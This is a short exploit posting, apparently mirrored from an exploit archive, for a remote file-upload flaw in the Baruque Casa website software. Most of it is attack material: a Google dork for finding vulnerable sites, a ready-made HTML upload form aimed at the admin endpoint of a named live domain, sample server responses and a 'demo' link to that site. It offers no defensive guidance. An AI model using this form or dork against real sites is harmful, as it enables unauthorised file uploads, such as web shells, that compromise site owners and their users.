Baruque Casa Remote File Upload Vulnerability

CVE	Category	Price	Severity

Author	Risk	Exploitation Type	Date

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018060102

Below is a copy:

Baruque Casa Remote File Upload Vulnerability

# Exploit Title:  Baruque Casa Remote File Upload Vulnerability
# Google Dork: intext:Copyright Baruque Casa.
# Exploit Author: Mr.T959
# Author Website : http://mr-t959.xyz
# Tested on: Windows 7
--------------------------------------

# Exploit HTML Code :
<form method='post' target='_blank' action='http://www.baruquecasa.com.br/admin/server/php/' enctype='multipart/form-data'>
<input type='file' name='files[]'><input type='submit' name='g' value='Upload Cok!'></form>

# Exploit 
admin/server/php/

# Successful 
{"files[{"name":"b6fa0f07f57514815d1b310a6b97d70e.jpeg","size":5362,"type":"image\/jpeg","url":"http:\/\/www.baruquecasa.com.br\/admin\/server\/php\/fotos\/b6fa0f07f57514815d1b310a6b97d70e.jpeg"

# Error
{"files":[{"name":"geo.php","size":3468,"type":"application\/octet-stream","error":"Filetype not allowed"}]}

# Demo
http://www.baruquecasa.com.br/admin/server/php/

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum